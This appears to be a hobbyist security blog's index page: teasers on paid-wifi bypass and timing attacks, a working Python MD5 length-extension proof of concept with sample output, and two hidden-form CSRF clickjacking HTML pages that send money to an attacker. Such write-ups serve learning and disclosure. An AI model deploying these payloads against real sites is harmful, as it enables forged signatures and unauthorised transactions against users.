Bypassing Authentication to a Paid Wifi Hotspot

I spent the last week and a few days at my family's summer place on the island of Gotland. To get there and back, we usually take the 3-4 hour ferry between Nynäshamn and Visby. On the ferry there is a paid wifi. For fun, I attempted to hack past it. I succeeded. Here is how I did it.

Read more…

MD5 Length Extension Attack

I found this great explanation of a length extension attack here by Skullsecurity and decided to implement my own proof-of-concept in Python for MD5. Turns out it was quite simple.

Tl;dr; I should be able to spoof hash signatures in the cases where H(secret + data) is used for verification. .. TEASER_END

I found an alternative MD5 implementation which let me edit the initilization vectors. The one provided by python is a C module. Using the alternative one, and the great explanation provided by Skull, I wrote the folowing script.

length-extension.py (Source)

import md5py
import struct

def hexdump(s):
        for b in xrange(0, len(s), 16):
                lin = [c for c in s[b : b + 16]]
                #~ if sum([ord(l) for l in lin]) == 0:
                        #~ continue
                hxdat = ' '.join('%02X' % ord(c) for c in lin)
                pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
                print('  %04x: %-48s %s' % (b, hxdat, pdat))
        print

secret = b"secret"
original = b"data"
append = b"append"

def pad(s):
        padlen = 64 - ((len(s) + 8) % 64)
        bit_len = 8*len(s)
        if(padlen < 64):
                s += '\x80' + '\000' * (padlen - 1)
        return s + struct.pack('<q', bit_len)

val = md5py.new(secret+original)
print "Original payload:", val.hexdigest()

payload = pad(secret+original)+append
hexdump(payload)

legit = md5py.new(payload)
print "Legit digest:", legit.hexdigest()

not_legit = md5py.new("A"*64)
not_legit.A, not_legit.B, not_legit.C, not_legit.D = md5py._bytelist2long(val.digest())
not_legit.update(append)
print "Illicit digest:", not_legit.hexdigest()

if legit.hexdigest() == not_legit.hexdigest():
        print "Success!"
else:
        print "Fail!"

An example run:

tethik@capncrunch:~/code/python/learningcrypto/md5$ python length-extension.py
Original payload: 6036708eba0d11f6ef52ad44e8b74d5b
  0000: 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030: 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
  0040: 61 70 70 65 6E 64                                append

Legit digest: 6ee582a1669ce442f3719c47430dadee
Illicit digest: 6ee582a1669ce442f3719c47430dadee
Success!

MTG: Small AngularJS project

Every now and then me, my brother and some friends get together to play Magic the Gathering. We usually play a small tournament where everyone plays against each other once (aka Round-Robin) and the winner gets a small prize.

So I decided to make a small webapp to help with matchmaking and scorekeeping. It's completely in HTML/JS and will work without a webserver. It can run directly by just opening the index.htm file. The only dependency is the cdn for the font-awesome icons.

Here is the site. You can also find the code on Github.

click to read more about the project …

AuthorizeAttribute

I found scarce good examples of authorization when using .NET Web Api that I thought it would be a good idea to put up my own, in case I need it in the future. Blogging about it makes it easier to remember how it worked. Most of the examples I could find where just rehashes of the same MSDN example project.

Read more…

label clickjacking and javascriptless csrf

Another niche attack. I happened to notice the interesting behaviour of the <label> tag today while working on some web application development.

<label for="target">*STUFF*</label>

The for-attribute triggers a click event on the targeted element by id. It can trigger the click events on a bunch of different input-tags whenever anything between it's start and end tags are clicked. This is an intended behaviour, but it can be abused for clickjacking.

Here is a way to abuse it for submitting csrf forms.

labelcsrf.html (Source)

<!DOCTYPE HTML>
<html>
<body>
        <label for="target_element" style="display: block; height: 13370px; width: 100%;">
        </label>

        <form method="post" action="http://victim" style="display: none;" >
                <input type="text" name="moneys" value="all">
                <input type="text" name="recipient" value="evul_haxxer">
                <input id="target_element" type="submit" name="send" value="Send moneys">
        </form>
</body>

Of course, it's a bit redundant. The following snippet does the same thing without using the label tag at all.

invisbuttoncsrf.html (Source)

1
2
3
4
5
6
7
8
9
<!DOCTYPE HTML>
<html>
<body>
        <form method="post" action="http://victim">
                <input id="target_element" type="submit" name="send" value="Send moneys" style="display: block; height: 13370px; width: 100%; opacity: 0;">
                <input type="text" name="moneys" value="all">
                <input type="text" name="recipient" value="evul_haxxer">
        </form>
</body>

I tested both of these in firefox with noscript and they pass.

But imagine a scenario where the HTML filtering is not quite as secure as it should be and the label-tag can be submitted. Then it could be abused to trigger clicks on the rendered site without the user's consent. Imagine a social media site with a "like"-functionality alá Facebook for example. Triggering a click on the like could make for some fun Samy-like worms.

Fortunately, most sites use whitelists for html user input these days.

Web Timing Attacks, Continued

Continuing on the subjects of timing attacks, I recently found a small timing attack exploit on Facebook. I sent a disclosure to the security team but it wasn't found to be serious enough to warrant a bug bounty. I did not expect it to be so either, and I agree with the response I got from the Facebook engineer.

Read more…

Getting timing output from CSRF exploits

I've been playing around with the idea of timing attacks lately. The way they work is usually by looking at them as an oracle. What information can be extrapolated depending on the time taken to run an arbitary command in a system?

Read more…

QR Codes as Password Storage?

I played around yesterday with the idea of using QR-codes as an offline password storage. This way I don't have to rely on a database of passwords stored on my computer or in the cloud. I shudder at the thought of storing passwords in the cloud, encrypted or not. Instead my idea is to have printed QR codes in a binder, encrypted using a master password. To clarify, the content inside the QR code will be encrypted.

.. TEASER_END

Instead of coming up with my own scheme, I try to emulate one of the encryption scheme that Keepass uses to encrypt it's database. It uses a keyfile and a master password to generate a AES key which then decrypts/encrypts the database.

I managed to get a proof of concept working in python as well as a very basic android app with a hardcoded master password working. If you're interested, you can see my progress here: https://github.com/Tethik/qrpass

Some thoughts around this though:

Pro's:
  • Having the QR codes as "physical" I feel adds another layer of security. In order to get the password you have to have all three components: the QR code, the AES keyfile and the master password.
  • Master password does not necessarily have to be the same for all stored passwords, much the same way you can have multiple databases in Keepass.
  • Mitigates some of the danger from getting your computer hacked. I imagine keyloggers working against keepass for example.
  • I believe paper trumps computers for long term storage. At least in my household. Easy to make backups.
  • Given the error-correcting nature of QR-codes, they could be customized with for example logos etc
Con's:
  • One of the good things about Keepass is the ability to "copy-paste" long and complicated password strings. If I wanted the same functionality in an android app to a computer, I would have to engineer some solution for this as well, which might be difficult if we don't want to rely on a third party service or have to install something on the computer. Copying strings of 30+ random ascii characters by hand is not very practical.
  • Changing passwords is obviously more of a hassle. You have to print out a new QR code every time!
  • I believe there is an upper bound to how much data can be stored inside a QR code. I would have to do some research to see how long the max password to store would be and how reliable QR codes are.

Tl;dr; maybe more secure, less practical? For personal use I feel like it could work.

Predicting .NET Guid.NewGuid()

.... is unfortunately rather difficult.

GUID stands for globally unique identifier. It is generally used in databases as the primary key. The main utility lies in the extremely low chance of collision, which means you can reuse the identifier across different systems. Here is one generated using .NET's Guid.NewGuid():

2fa3cc80-f37a-4493-9e8e-d481d873be98

I thought I had a new hack figured out based on prediciting GUID/UUID generated as tickets for resetting passwords in a webbapplication. If I had a way of predicting the generated GUID using known GUIDs and timestamp, I was hoping to be able to hijack accounts.

Turns out there are two version of GUID/UUID which are generally used. The first one (v1) uses MAC address and timestamp, and is therefore very predictable if you have access to an oracle. The second one (v4) uses a random generator to randomly set 122 of the 128 bits. By definition, it does not have to be a secure random generator either and could therefore be predictable too. By definition a GUID/UUID should be unique, not necessarily true random.

Unfortunately, .NET/windows which the webbapplication is using uses CryptGenRandom rng to generate its GUIDs via Guid.NewGuid(). I found the following statement on MSDN:

"For reasons of increased privacy protection for our customers, Microsoft systems beginning with Windows 2000 prefer to generate version 4 GUIDs in which the 122 bits of nonformat information are random. Although only a small minority of version 4 GUIDs require cryptographic randomness, the random bits for all version 4 GUIDs built in Windows are obtained via the Windows CryptGenRandom cryptographic API or the equivalent, the same source that is used for generation of cryptographic keys." - MSDN Source

:(

First Post

Welcome to my blog. I hope to publish longer articles and more on this website. The contents of which will probably range from computer science to informal philosophy.

My main reason for keeping this journal is to have a place for more serious articles. I've found that Tumblr which I also use is not a good fit for that type of blogging.

This site was built using Nikola, a static website and blog generator made in python. That means that everything you see on this website is pure html, javascript or using an external service. It is available at www.getnikola.com.

If you have any questions for me, feel free to contact me.